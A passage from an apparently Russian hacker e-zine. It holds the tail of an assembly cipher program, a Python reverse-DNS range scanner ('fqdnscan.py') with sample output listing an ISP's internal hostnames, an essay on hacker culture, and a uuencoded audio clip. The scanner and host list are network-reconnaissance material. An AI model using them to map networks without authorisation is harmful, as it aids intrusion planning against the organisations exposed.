xor al,al
xor bl,bl
dec al
dec bl
nlaststr:
inc al
inc bl
jmp insr
eqstl:
cmp ah,04
jnz nxorah
xor ah,ah
dec ah
nxorah:
inc ah
cmp bh,04
jnz nxorbh
xor bh,bh
dec bh
nxorbh:
inc bh
jmp insr
razn:
xchg ah,bh
;vstavka v variab
insr:
shl si,1
mov word ptr variab[si],ax
mov word ptr variab[si]+2,bx
shr si,1
inc si
inc si
loop next
;Out characters
mov cx,lenphr
xor si,si
xor di,di
xor ax,ax
mov dl,5
outstr:
mov al,variab[si]+1
mul dl
add al,variab[si]
inc si
inc si
push di
mov di,ax
mov bl,alph[di]
pop di
mov encphr[di],bl
inc di
loop outstr
mov encphr[di],'$'
mov ah,09h
lea dx,entst
int 21h
lea dx,encphr
int 21h
mov ax,4C00h
int 21h
end start
end
*----- dec. -----*
masm
model small
.stack 8h
.data
null dw 0
mess db 'Enter your phrase in small register and without space'
entst db 0Dh,0Ah,'$'
alph db 'loafq'
db 'rimeh'
db 'nkbyg'
db 'txdup'
db 'wvczs'
phr db 30 dup (0)
variabl db 60 dup (0)
variab db 60 dup (0)
encphr db 30 dup (0)
lenphr dw 0
.code
start:
mov ax,@data
mov ds,ax
mov ah,09
lea dx,mess
int 21h
mov cx,30
xor di,di
l2:
mov ah,01
int 21h
cmp al,0Dh
jz l1
cmp al,'j'
db 0Fh,44h,06h,14h,00h;cmove ax,'i'
mov phr[di],al
inc di
loop l2
l1:
shr di,1
jnc l3
shl di,1
inc di
mov phr[di],'c'
inc di
shr di,1
l3:
shl di,1
mov lenphr,di
mov cx,di
xor si,si
mov dl,5
l4:
xor di,di
mov al,phr[si]
push cx
mov cx,25
l6:
cmp al,alph[di]
jz l5
inc di
loop l6
l5:
mov ax,di
div dl
shl si,1
mov variabl[si],ah
mov variabl[si]+1,al
shr si,1
inc si
pop cx
loop l4
;Encryption
xor si,si
mov cx,lenphr
next:
shl si,1
mov ax,word ptr variabl[si]
mov bx,word ptr variabl[si]+2
shr si,1
cmp ah,bh
jz eqstr
cmp al,bl
jz eqstl
jmp razn
eqstr:
cmp al,bl
jz eqstrstl
cmp al,00
jnz nxoral
mov al,04
inc al
nxoral:
cmp bl,00
jnz nxorbl
mov bl,04
inc bl
nxorbl:
dec al
dec bl
jmp insr
eqstrstl:
cmp al,00
jnz nlaststr
mov al,04
mov bl,04
inc al
inc bl
nlaststr:
dec al
dec bl
jmp insr
eqstl:
cmp ah,00
jnz nxorah
mov ah,04
inc ah
nxorah:
dec ah
cmp bh,00
jnz nxorbh
mov bh,04
inc bh
nxorbh:
dec bh
jmp insr
razn:
xchg ah,bh
;vstavka v variab
insr:
shl si,1
mov word ptr variab[si],ax
mov word ptr variab[si]+2,bx
shr si,1
inc si
inc si
loop next
;Out characters
mov cx,lenphr
xor si,si
xor di,di
xor ax,ax
mov dl,5
outstr:
mov al,variab[si]+1
mul dl
add al,variab[si]
inc si
inc si
push di
mov di,ax
mov bl,alph[di]
pop di
mov encphr[di],bl
inc di
loop outstr
mov encphr[di],'$'
mov ah,09h
lea dx,entst
int 21h
lea dx,encphr
int 21h
mov ax,4C00h
int 21h
end start
end
<++ end :0110: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0111: [ fqdnscan.py (fast creating of host-list) ] by b3$t_m0w1 :0111:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0111: ++>
Hi! опять я, но уже с другими гостинцами =)
Эту небольшую программу я решил написать после прочтения статьи одного из не-
совсем известных буржуйских hack e-zine'ов.
Автор представлял читателям странные сканы, которые он якобы сканил неделями.
То есть просто ай-пишники и их доменные имена. Сначала мне стало смешно, но за-
тем я задумался над этим. Хорошо бы было, если бы имелось инструментальное
средство, позволяющее быстро просканировать диапазон ай-пи адресов и предоста-
вить их доменные имена. Плюсов здесь много, а вот минусов я не вижу.
Действительно - можно сканить диапазоны провайдеров, универов, мини-сетей и
т.д.
Вы можете спросить у меня, а почему именно fqdnscan.py? И я могу ответить:
вся работа программы упирается в функцию getfqdn(). Для тех, кто не знает, эта
функция возвращает полное уточненное доменное имя. Если у вас python старее
версии 2.0, то к сожалению у вас данная программа работать не будет. Так что...
Хорошей особенностью программы является логирование - лог-файл ведётся в дирек-
тории /tmp в файле - fqdnscan_log.
Юзается следующим образом:
[best_mowi@localhost scan]$ chmod +x fqdnscan.py
[best_mowi@localhost scan]$ ./fqdnscan.py 212.45.45.
и программа вам выдаст диапазон в пределах 212.45.45.1 - 212.45.45.254
Example of using fqdnscan.py:
[best_mowi@localhost scan]$ ./fqdnscan.py 212.12.149.
####################################
212.19.149.1 - 212.19.149.254
####################################
212.19.149.1 - alma-bb-1.online.kz
212.19.149.2 - alma-eth-1.online.kz
212.19.149.3 - alma-te-1.online.kz
212.19.149.4 - alma-c5k-1.online.kz
212.19.149.5 - alma-ls-1.online.kz
212.19.149.6 - alma-c5k-3.online.kz
212.19.149.7 - alma-te-2.online.kz
------------------------------------
212.19.149.9 - alma-eth-2.online.kz
212.19.149.10 - as.almaty.idc.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.17 - alma-ssg-1.online.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.22 - alma-te-2.online.kz
------------------------------------
------------------------------------
212.19.149.25 - alma-eth-2.online.kz
212.19.149.26 - mail.host.kz
212.19.149.27 - imanali.online.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.32 - alma-nmc-net.online.kz
212.19.149.33 - alma-eth-1.online.kz
212.19.149.34 - cwm.online.kz
212.19.149.35 - cw2000.online.kz
212.19.149.36 - remedy.online.kz
212.19.149.37 - ws5.online.kz
212.19.149.38 - proxy.online.kz
212.19.149.39 - ws1.online.kz
212.19.149.40 - ws2.online.kz
212.19.149.41 - ws3.online.kz
212.19.149.42 - ws4.online.kz
212.19.149.43 - backup.online.kz
212.19.149.44 - infocenter.online.kz
------------------------------------
212.19.149.46 - alma-w-1.online.kz
------------------------------------
------------------------------------
212.19.149.49 - alma-eth-1.online.kz
212.19.149.50 - csu1.online.kz
212.19.149.51 - csu2.online.kz
212.19.149.52 - netflow.online.kz
212.19.149.53 - cnr1.online.kz
212.19.149.54 - cnr2.online.kz
212.19.149.55 - cmgp.online.kz
212.19.149.56 - ssd1.online.kz
212.19.149.57 - ssd2.online.kz
212.19.149.58 - relay.online.kz
212.19.149.59 - web.online.kz
212.19.149.60 - alma-ssg-1.online.kz
------------------------------------
212.19.149.62 - www.astanacity.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.87 - jdoe.online.kz
212.19.149.88 - dkrivets.online.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.94 - alma-eth-1.online.kz
------------------------------------
------------------------------------
------------------------------------
212.19.149.98 - absolut.online.kz
212.19.149.99 - bittl1.online.kz
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
------------------------------------
212.19.149.113 - alma-di-6.online.kz
212.19.149.114 - alma-di-6.online.kz
212.19.149.115 - alma-te-2.online.kz
212.19.149.116 - alma-time-6.online.kz
------------------------------------
------------------------------------
------------------------------------
212.19.149.120 - alma-eth-1.online.kz
212.19.149.121 - alma-te-1.online.kz
212.19.149.122 - alma-te-1.online.kz
212.19.149.123 - alma-eth-2.online.kz
------------------------------------
212.19.149.125 - alma-ls-1.online.kz
------------------------------------
------------------------------------
------------------------------------
212.19.149.129 - alma-di-6.online.kz
------------------------------------
------------------------------------
------------------------------------
212.19.149.133 - 212.19.149.133.dial.online.kz
212.19.149.134 - 212.19.149.134.dial.online.kz
<skiped> <skiped> <skiped> <skiped>
212.19.149.251 - 212.19.149.251.dial.online.kz
212.19.149.252 - 212.19.149.252.dial.online.kz
212.19.149.253 - 212.19.149.253.dial.online.kz
212.19.149.254 - 212.19.149.254.dial.online.kz
#!/usr/bin/python
# fqdnscan.py (c) 2003 by b3$t_m0w1
# contact: best_mowi at mail dot kz
import os, sys, socket
def usage():
if (len(sys.argv)<2):
print "\033[1;31m"
print "\n fqdnscan.py by b3$t_m0w1"
print " [email protected]\n"
print " Usage: %s <N.N.N.>" % sys.argv[0]
print " Example: %s 212.146.54.\n" % sys.argv[0]
print "\033[;37m"
sys.exit(0)
def fqdn():
try:
# open log file in /tmp/fqdnscan_log
log=open("/tmp/fqdnscan_log", "a")
log.write(" ####################################\n")
log.write(" "+sys.argv[1]+"1 - "+sys.argv[1]+"254\n")
log.write(" ####################################\n\n")
print "\033[;31m\n ####################################"
print " "+sys.argv[1]+"1 - "+sys.argv[1]+"254"
print " ####################################\n\033[;37m"
for request in xrange(1, 255):
target=sys.argv[1]+str(request)
if (socket.getfqdn(target) != target):
print " \033[1;34m"+target+" - "+socket.getfqdn(target)+"\033[;37m"
log.write(" "+target+' - '+socket.getfqdn(target)+'\n')
else:
print " ---------------------------------"
log.write(" ------------------------------------\n")
print "\n"
log.write("\n\n\n")
log.close()
except KeyboardInterrupt:
print '\n\033[;31m Stoped!\n\033[;37m'
sys.exit(0)
def main():
usage(), fqdn()
main()
<++ end :0111: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:1000: [ theory of hacking ] by b3$t_m0w1 :1000:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :1000: ++>
Hi!
Данная статья писалась мною в процессе моей работы.
Да, да - я как и многие(?) мои сверстники (но не буду, конечно, называть свой
возраст) совмещаю и учёбу в универе и работу (fuck, этих сигарет вечно не хва-
тает).
Вообщем, часа в три ночи у меня нашлись 240-300 минут свободного времени и ро-
дился данный артикл. К слову будет сказано, что выдержан он в стиле таких ста-
тей, как "n0 n4m3" (FDS #1) и "r341 h4ck3r" (FDS #2).
Хочется надееться, что эта статья не покажется вам очередным бредом сумасшед-
шего или, на худой конец, детским лепетом человека, который страстно обожает
"Компьютерный андерграунд" Сьюлетты Дрейфус.
Итак, что же преследует человек, вставший на путь изучения всего компьютер-
ного - не важно, будь то программирование, веб - дизайн, понимание криптогра-
фии, изучение компьютерной графики, /етс... Здесь, немаловажным будет являться
тот факт, что всё это делается для получения *знаний*. *Знания* - это информа-
ция. А информация для хакера самое важное и дорогое, что у него есть. Таким
образом становится понятно, что главной целью любого хакера является именно
получение информации.
Что же мы видим сейчас? ОК! - я скажу...
Мы видим частенько - "Defaced by (for example) p4p4c4r10". И многие считают
Папу Карлу (мать его так (,) не пожалела) гуру, хакером. Почему же, интересно?
Я могу ответить (возможно неточно). - Компьютерное общество в последние 5 - 6
лет сильно прогнило. Вам не кажется, что скоро Интернет от наплыва большого
числа порнушных, ламерских, ненужных и ахинейных сайтов захлебнётся в собст-
венной блевотине? А почему такого не было в старые добрые времена? А потому,
что компы тогда были не сильно распространены. Доступ к ним имели лишь нем-
ногие. Сейчас же тотальное развитие компьютерной техники. И если для серьёзных
и правильных людей это некошенное поле для экспериментов и саморазвития, то
для большинства других это забава, это игра.
Мать твою! Почему они не ценят свой компьютер и то, что можно на нём творить,
не так, как это было давным-давно? Таких людей, имхо, нужно отсеивать, нужно с
ними бороться , давить их, как тараканов и крыс. Они съедят всю культуру, все
традиции, всё то, что годами создавалось настоящими хакерами, гуру своего де-
ла.
Цель "ненужных" и "левых" людей - это всего лишь популязирование своего ника,
своих домороченных и надоевших всем "Hacked by ..."
Старое поколение смотрит на новое с жалостью. Большинство - это те, кто даль-
ше взломов гостевух, чатов, ненужных и несерьёзных страничек не уходил.
Чернышевский уже ставил этот вопрос на обсуждение, но точного ответа я до сих
пор не встречал. Может просто опустить руки, кинуть всё, забить на всех, обма-
теря?
Нет!
Нам нельзя сдаваться! Именно сейчас нельзя! Нужно вести борьбу с "плохими"
людьми. Нужно презирать и игнорировать дефейсинг и дефейс - группы, тупые бол-
товни (именно тупые и ураганные перепалки, возникающие иногда м/у некоторыми
тимами и командами, а не нужное и серьёзное общение) на ирке, также популязи-
рование и рекламирование своих group's и lab's - здесь я боюсь остаться непо-
нятым: название группы обычно это то, что объединяет людей, что - то скромное,
сильное и мощное. А сейчас какова ситуация?
Мать их команд, МЫ ТАКАЯ - ТО ХАКЕРС - ТЕАМ!!! Да что ВЫ, А МЫ ВООБЩЕ
ХЭК 'эн ФРИК ВОРЛД ЛАБС.
==============================================================================
Как кто - то сказал когда - то: "... все люди волоёбы ...", и, чёрт возьми, их
становится всё больше...
<++ end :1000: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:1001: [ for phuns (guido.au sound phile) ] by b3$t_m0w1 :1001:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :1001: ++>
Готовы, фанаты =)) ? Голос самого Гвидо ван Россума!!!
[p's] найдено и упаковано неизвестно когда и неизвестно кем, но
в любом случае приятной вам 3 - х секундной прослушки ;)
begin 644 guido.au
M+G-N9````"(``&W.`````0``'TP````!9W5I9&\N86EF9M35U=34U-34U=34
MT]/4U-33U=;6U];7V=G9V-G9VMG:V=K:V=G9V=G9V=C8V=C8V-C8V-?7U]C8
MV=C9V=G9V=K:V=G9VMK:VMK:VMO;V]O<W=S;VMK9V-?8V-?7U];6UM;6UM75
MU-34U=33TM+4U-/3T]+3TM'1T='1T-#0T,_/S\_/T,_/S\_/S\_/S\_/S\_/
MT,_/S\_/SL[.S\_.SLW,M[A!N[!:7KW39,Y>VKQ[8;B^[,2]R<C2U<C07=C*
MW_+/R,K+S;^RT7^PP<2[TL:]5$:WY#*XK"_:HUY&J\I"K64[KLHUMJM[MZS`
MM;7;Q+I,4<Q>2'7CWM;0R;J]SL&YW>W>\U9/3GKT9^[*PL:_N;B^O[V_S]/-
[email protected],)5S,E<7]589<OAV,;#Q;W"R\W*RGZ_Q%EYNNE'Q[3*
MWK^OS?^WP<_?R\C)4W'*ZT5J?DX_/T$W,3]/3_33PKJ_O;F^S,O0[E=)3U%7
M4=[-P[VVK[2MLKBTN\S+P^CJTN7?U>?IY6E.0SHQ+2Y"0C9OP<_&KK>YM+_$
MRV]-7D<^3EA/Z<C$O[2OLK*PL[RZPLS3V./:UMG(R<_-RMU:648X,BTH.S\N
M2[[,SJ^OM+:XNL5Z671#.D1*1%3MR[ZWLZRMLZRROL*_Y&OL<_ODVL[,U,S.
M\5!0.S,M*D$Z*5;`3MRLM[VPLKS!T'O^0CQ(13I,W]V_LK*QJ:^SK[;%QLUR
M;&-?=WQOW-3D]>960#DS+#PY+3W454NYML:[KK>_OL7M54Q(0#]#6>S.O[VO
MK["OK+:\NL3O[]U04&-A4U[W7U513#TV,3XX+3[>/T:\Q&Z]L,#"MK[9X>I0
M1T%'3%+>T-NYM;VWK;F^MKS:U-!>55I73%%66TU.6$<Z.D`^,T1-/S[5=/+*
MO,?`OKS)T,O@5EED2%-PVV?HO<C*N;/-O+C+ZL7B3F9?2$==3TU47DU,3$=/
M1CY%1SU)7$Y7XN?DS,K-S,K9YN/O6E]^7UOPV_W<RLO-QL3.S,W2X]CEZ^[H
M?.7HY>K@XO;O<F%:5$Y,2TE.34]5:6?_YM_BW=OAX>/FZ.'HW]G4T\[,R\O)
MR<K+R\S/S]'4U=78UM/4V-7:WN;M=VQB6E103DY.3U)676IY^>GDX^'?X-[?
MW]W:V-30S\_,S<W,SL_/TM?5UMG8UMC6T]+3T=+4U=?=W^CX<VEC7UQ;7%U?
M9&EN<WK^_/SX\._LX][;V-71S\W-SL_/T-76V-S=W=[=V]?5T]+0T-'0U-C9
MV^'?W^7FYN?GYNGM]'YV;F9B8%Y?9&EO^NODW=K5T,_/S\_/S]#2T=/4U=74
MU-34U-34U=?6U]K:V-G:U]37U]35U]C9W>+G[WIM:&5A8F-E;G=][^7@WMW<
MV]G;W-O;V]K9V-?5U=/3U-+0T]73T\+2ZNC,T=#;V];-U=K9V]S:Y.[K[-S7
M>5U>_N3F:V-M[>CD]WWRX.#>XN7>U];4U-32S\_.S\[+O;W&V.7FSLG.WNCD
MT\S.UMS>V]30U=O@W-C6U<S.U.MU9FIG7UM96VG\[.GEW]G7U=77U]75U-+1
MT,[-S<O+S,O+S<[.S\_/T=+3T=+1T-#/S\[.SLW.S]'4V-[F^F=>7EM96UU=
M8&EY^>K@WMS;V-?5T]#/S<K)R,?(R<G*S,_/U-C6V-S>W-W=V]G9UM+/S<S*
MR,C'Q\;'Q\C*R\W/TMC?\&]?6U=33TY.3U1:76=[[.3@VM;2S\S*R<C'QL;'
MQ\C)R\W/TM36V=K=W]_?W][>WMS:V-/2S\S*R<;&Q<7%Q<?(R\W0U-C=Z7QH
M6U9145%14555669X^.;:V=?3S\S+R<?&Q<7$Q,;'R<O-SM/7V]S?Y^SL[?'M
M[O'NZ>;EX=W8U=+.S,K(QL3$Q,7%QLC#NKO%Q<;>]^E30D`^/TM43%)K77?2
MS,_*P\;)Q<C+S,W.T-33T,S,SL_8W-//TM71T=+-SLO-S<O*R<?(QL3$Q,7%
MR<_1V=]T5TU#/38Z5.ST:O;.R;^[QNM>X-#I^G5K[,Z^O\K*Q;Z^Q,SG:/SB
MZE]7;>?7T,_0R;R\N[JZN;BXNL##O[W"S,[2W.M;23\Z-R\J)3;#QW5NO:ZR
MNLE/2V333C=&W,"[O+W`N[*[TUE9Z6%/2$EET\?-Y]7%PLOGZ=*\N+J^NK*O
MN<7)Q,//ZE]G]&Q00T!`/#$K)C6YR5U;O:VSQ>57W<WM3#O;O\+%S\"[O+_]
M9=G>\D]+9>W2UOC<SLG/Y-S:U]34RKVSK;2YM;.\T>33S,K3\-_8TOY.1D,^
M-BXN+C?DV,O/O+*ZR=YX\5Q'143\V<[)QKN[P<;/T]9Y7%QJ?G3JV];.T=S?
MWMG=[>[8O[>WN;>UM;[)R\C%R]34S,W;>&E83T8X-#4V+R\]6-?+XLBZP=5O
M;>]F6TUXSL?#P\"[O,3/VL_C8E958&A:6W+?V^?O[=_7T,N_O+Z[M[F\O\+$
MP<7-S<W-T^MO_OI42$=$0#DW-30S._UH8,6\O\3+SMSC9EES[-C)S<6_OL++
MS=';[V!?:5Y;87GCVM79T\[.U]G5R+ZWMKFVL+C`P;Z^P<3*P<'&T=/5U.E3
M4E--34(^/D([-CE;\G;7S</'R^#:U]#CT\[$Q,3&Q\7+WM_3S]7:V]+0UNC:
MV-;8W-75SMC7SK_`NKRYN+6WO;V\O;_$P[^_PLK+SM;G[VYI9$].2DY)1D=`
M1T8]1V]526?-T>'4SLG*SM?1S\[3WMG,T^G<U-7=W=;7SMK;W]'4U]_7UM+9
MT\O)P\:_O;_#OL&_O[_%P\+'R<K,S,W<W^C=WMO;T;W%>6IG7UQ@4$MQ<%-<
M>%YD9EM@Z_I;?/CGSMG\R<+1W,K,S\[DYLO3WMG.SLK)U\S%R]',Q<G"QLB^
MO</%P+[#OL/(O\7*R<7&U,W4T,K=XMG:S-ASX-[HW_'Z>=[=65-N?>SD8^#9
MY-]R6_?6[DWKU^!Y37W0>%=8S]]WX7_'TM?.Y<W-T-[;Q[_-S=/'Q>3*Q\K)
MS>['U<W8TM7%UO_OS\[9SN_-R=#4<KO)R.;7S\+>3=7"W%[@R+CZ_.+.S$M=
MP_[B1-K"5/IEQ[_80=['PD%.Q7??1U#`SCY/PM]<6.=*R$EAOU@_^LU0[EEA
MR%]:VMW,==_[U,U:9,_GS]MIT,W)Y,S+ULUFR,K:>]C-V<_KTLWI>^C2T/[7
MW]3JZ=/3V69S],MT3F?/3$S_7E1?3]-9/,I?T%/(7=]P6O%8X-;4TM7QVLS;
MYL;+9,C[RLKK=-S$ZM_=V6#1:';+9-U;W?7.V&?.R=1MR\WU?=O39>O9S?EV
MSM7EU,CBVM#+U-[NU-W=Y^O0X.+IV=K;X.[-X'#ST-[L<=+9<<[[U?/34\_Q
M[/-AVEMI6\],2^E-3[_I3>?.RNO6;L_4<MK3U.S=V\G6T-K0QN;%W\[4T]W9
MUF?0ZNEGU^S:SVC/V]75^=3/Z^_$X/G\R-5EQ=3EVL#UUNC9S]C>=<[NYM_4
MY>W9T-?:RM#T_-'-XM'+7/[:;-+N\5_+ZTC9U%!L6-'.6/KRS5AOR+Y)8<;G
MZE_1^L;2UEG)R.OHQ\UOS,%L6<;`4NG/SOILS<]?<MC.\6+OO]%!N;]%\K_:
M;=SXS-+KS]GLS];WSL5H^\?NTN)BQ\U=W<W@Z<W>R,O6T=;6R=[IV<-FU<_1
MWLQ^S+O=W\K(X<S>WM'=Z-?HS]OURLWCVL#ZU,C?V]C1W-+HT-/>ZLSBW\OD
MVLSF\='0WNW/UM?PSMKRV]7@UM?>W=;3_=KAWNWJV^C6V=#SS=W1_,_6U7W5
MTN[:U]?NT=;/_<[7U-W7U-??U-'<V]+2W]'2T];5U-/4S]'0SL[1V,W2UN7>
MW&3J^%5;:4],7$Y,7&Y=Y=//R<&_N[R[N;N]O;_%R,S:W=]H7W=.3$9".C8Z
M3BD_Q"I6QFA1LKKUL+N_N,:\O6S"R>+/P=/2O<K&O\;%S-?K:%$_.3(K+SHC
M+%PO-,S-3KJNO[6OMKJ_Q<EO35E+/4912DAVQFO+L,/+KK;,N;G<V^%&1STM
M+"<X,QK-R!S*J4=9GZY4HZW1L,9BRT(Y4STM.EDO/<A;3;6Y[ZNUO[.TU<2]
M2_13.SP[*RHN^Q\FH"(MI[0^O9M/NZ/(PKM,Z&,R/$$^)UM9+L_&?-FJP+VE
MO+^NN%F]S#Y,3#,Q-24TP1LQH"DMIZ4NM)I9P*;#UK],65,\+6!/)]K-/'NN
MON*KKK^QL</%PVI>9#PX/3$H+KPF(9\_+:Z@:.R:O<6GOM:X1S[L5RD[MRTY
MM+Q'NZ>_NZNPNKF^RL9>05Q),34N+.4T(;7",M&ANU.?K<&LLLR^S4!3TS<T
MS$Q)W;S,O;&[L+.XO+?$W\_Z2$I0+2\V,'0F-Z\YX\&HP[R@R*RLS;V]UD+_
MR"UIRS_>T\3=LK[)K[7$R;K3UM=:0TX_-C-,W"T[PUUDS;[$Q*^]R+6]P,S,
MS.?+<VO+U\_/S,S'P\W*R<W-T=?9U]QM:6%.6&9,159H7?K9V]G+P,G*PL?'
MQ<+(RL?-R<7-QL?&P\;$Q</%QL;-SM'?>UA+35!#/TI*4'?T_-;"QL6]O[Z[
MNK_"O;_'Q\?+Q<7.R\3+S,C-R\K/U]'2Y'QC4TM.7TD_3UY>:]W7S;Z^OKR[
MNKJ[P<>_Q]7+R]?4Q\[3Q\O.R,C/SLC4W-?K[&%+25]^14/]Y6S<S=3%N;[%
MO+R_OL?:SLCH>]+'S-'$OKZ^OK^]P,?*S>_FX5='2$<^2TY`0WC2V,O'Q+FU
MO+^_P,;+Y%YXZMO;;]V_NK^]N[JVM[_+S-'B54(].C,O*COK.#_'Q\&KL;FM
MK[2TRUO874$_04;5U]N^LJ^MJ[&OL+6_RV=//C,O*R,A0GDV3\F_K*"HKZ^L
MK+?L/SX[.SHX,$RWNK6IJZRDHK&[P,[\8STO+R\O*"(JOU=:M+2MJIZJM;K!
MSME6,"DK2$]35]*TJ**BJ*ZOLKG+6SLY/S\Y,B\L*RM;O]ZWO[>RIZBYPG)?
M3TE`-"PS2N_+N[BWIZ*FJ["^U<KE2SX_/DE.1T`W,RL]OM:_P[_`M*BSNN9A
M2D]I3CHV0%/'MK&WL:JKJJNURMKF87KO>%9-2TA)/C4G+&M?P+>XRKZKLJZ[
MST4]24)"04M#<,"SL*RKKJ^RM;_%Y%E56GC>VGU324,Z,2DP4$K$O+K#MZ^X
ML;S+34<_/#Y)5%+4Q[VWKJVOKKC`SLS>[>MY>G?BY/I:23DN*2Q!2\_"O\7#
MM;NUNL1]2T0^1%)T>]K6R[^VL[*QM[W%S-'.S<[2UM?6S]QA23PS+2@M/C_*
MM[2VL[C)N[[&S^A).SI!2?7'Q,.^NKFRKK&UN\OI[^;BS,?5YG=735A./S@N
M+#@\Y+RTM+BZS,._P,+*[TE`/S]0WLO!OK_`O;JXM;B^RM'>X-G5T-?9[U]<
M5T](03DP.#Y-S+^ZO+K"S,7/S,K.^5Q124]UV\F_O<#`P,*^N[V_PLK4TM35
MS\O.T=/C?N]S7$]&/#M&2GO-QL._OLK&R,S(RM#?Z&9<>^[@S,C(Q</)R<3%
MQ+^_P\?*T=C5T,[,R\O,T]K>Z_AW8$Y,4E-IWM/,R\S5U-/1RLG(R<K-T]+8
MT<S-S,K+SLW*R<3#P<'`P<7%QL?`P</$Q,?+S]WG\W1J8U5.4V/_V=3.S,S.
MS\_6T]/8W.K];F_XZ=K7TLW,R<;'R<;'RLG+S<[6V=S9U-75T,[.RLG-T=K=
MZ71M;5M/34U/9?7LYOAP:&%>;O'PWMWAX>3AY][DZ-S<YMK3TM#+S<W-SL[4
MV]C5U^'AY?/]<75Y>6IF7UM:4D]34UE<8U]@7EI<8V)H_O+UZ.3HX>3?Z?'Q
M]_CWY^SK\?7OW=?0T=K;W=O;T-+6W-[9ZNUF:U]<6F)B7&1>7%U?6%I?5EQ>
M6U]J:6)L8&9P:'#W[.OJ]O+CW=W8T-/6T<_3S]3=U-KK]>U\[N'>V-/3V];8
MU]WA_/QM95]:8%Q<6F%>8&AB;/#Q[N[M[>KJZN7BX-O6WM_BX-[:V-G8V=/0
MS<O,R\O+SM78V-[>WMG4W=[8UMWIW][JW]G@^>+G:'/];FEH86-N<W#OZ_3X
M>W;NY]O6U=?6S]C8U^+<UM#0SM+5SLS*R,K.S];7V-G?WL_0U-#2U=/3VM[@
M>/+;YFUL:%=<7UM74UAA[_3DX>WJY^GMXMG;W=74U=35U]30U]K4V-3.T,_,
MS,S*R<S.T-35U,[.S]+0T=/3S]/:U]O?XGUK8EI455!(3EIBX-G5TM;:X.'>
MV<W0S<O4U];8W-+0UMG3U=//T,W+S,[-R<K(P\7&R<_4TLW,RLS-SM#9W=K@
MX.3O[WYN7%A/1T1+4%[?VM?2V>O?W-O1RLS,S=+:S\_2SLS/T<[4U,_/TL_0
MU=C7U]3+R<7"PL/&R,W/S\W,R\O.TM7>Z.WM_GIL7%5/2T0_1%!QS\?%R=#;
MW-_1SLG,R\W3U,S*R<?)S=71U]C7U]C7V-O8U=76T,[)Q<#`P+_$R,S-SLK'
MQ\G-U-SA[_'[_VMQ851.0SPZ3%W.P;W#Q]C>W]?.S,C3S-;4S\?(Q,?+UM?8
MV]//T-37V-W7T]'1SL_+RL;$PK_#QLG*R\C(QLG(T]3=W^?L]7!>5TQ$/CDV
M/%?OO[V\QL_P^6?<W<[8V-GKU\S(R,7+T-_6YMW7V=O?WM_AU=37UM'/S<K"
MR,3"Q<?)R,O(R\K/UMW?Z?G[:F!A6$Y&/CHT,CM7\L.\P<;1[VYJ?W_.6-A;
M>N_0VL;'U,[M[^?O?>3U7VU<6WYQ=>;T?N??XMO;XMW5V-S9X.'1SN3@T][:
MU_)NXNUK:%Q04$Y'1TA"25-787=E8^GL[]K3WMS>]_7BXN'8V-[;V^'CY>KT
M\G9U=71X??7T]?7VZ.;HZ^KAX>7CW]K9V]S9U=/4T-#0S\[1TM#/TMG:V]_L
MZ/Q\Z_IG\/%>65E145)47OSH]?+PYMK;U\[1UM;=[]W>[]_7VMG4WMS3WN39
MWNC=X>C6VO;9U^7&P5_EQMS*P7+=OM;8O\_;Q-C<P;[/ZOQLX-'Z45I71T,]
M/U1JVL6^RN#A_>;-W.GM=&%89NO=VLW/UL_6W-3/T];4R<O,R,?.S<W-RL7(
MQ\C-TMC8T=[KY696344_.C0N+#W.OJZLL;O-]$UI_%=53$4_1'#&N;.RNL7<
M;5YM>VMA7EI:S[BQK["XQ=7@W\[%R,W/UMC6S]5U34$X,BPG)3K&LZ:EJK;3
M4T!.4$-'0SL[0]&TJZBJL\A60#Y$3E=>9V%]S+JLJ:JOO]]76';.O[J]O+_"
MR,_G4$0[,RPE(3S#K9ZAH[760#D_4$1<5T-)2+VNIJ*EKLE(.S@_6?S0SM3+
MPK2MJ:NOPN%47_G*OKFXNKN_P\_H4$,Y,2DC*NJ\HI^>J;I..C,]0%/O76M+
MVKNNIZ:IMN!&.C=$6<K"O[_#O+.OKK2]V6-=?M#!O;R_PL?2?E5&.C`J)"]@
MO:>BHJV_1#DT-T%<?&_Y5=W(MJZKKKK24#X[0E/<S,;%P[VXM;>]S&U65%1\
M==_-QKN[O,+J1CDN*BI&:KNNJZRWQ5)-/$%#2D9055?9Q;NWM+G`T7=73E!9
M]N?9S<C'P;NZO,+1\&9SX];2T<W.T^%I3D$\,"PQ2N6UKJJRO&Q!/3=!2U98
M;%U8Y\N^NKB^R>Y:3E->=MO;UM+(OKNZO\OH;&MYW]C7V^=B4DY(1#DQ-TOL
MNK&LL[KD2T@^24]E7&-H6_K/PKV]P,K?_&%^W=?0T=+)P+NZO,#,TN/8U-/6
MXG5/2T5!/SDT1%W)MK&QNKQS5U9/56+F7V9N]MG'P+_"R-;MX^[DW='(RL7'
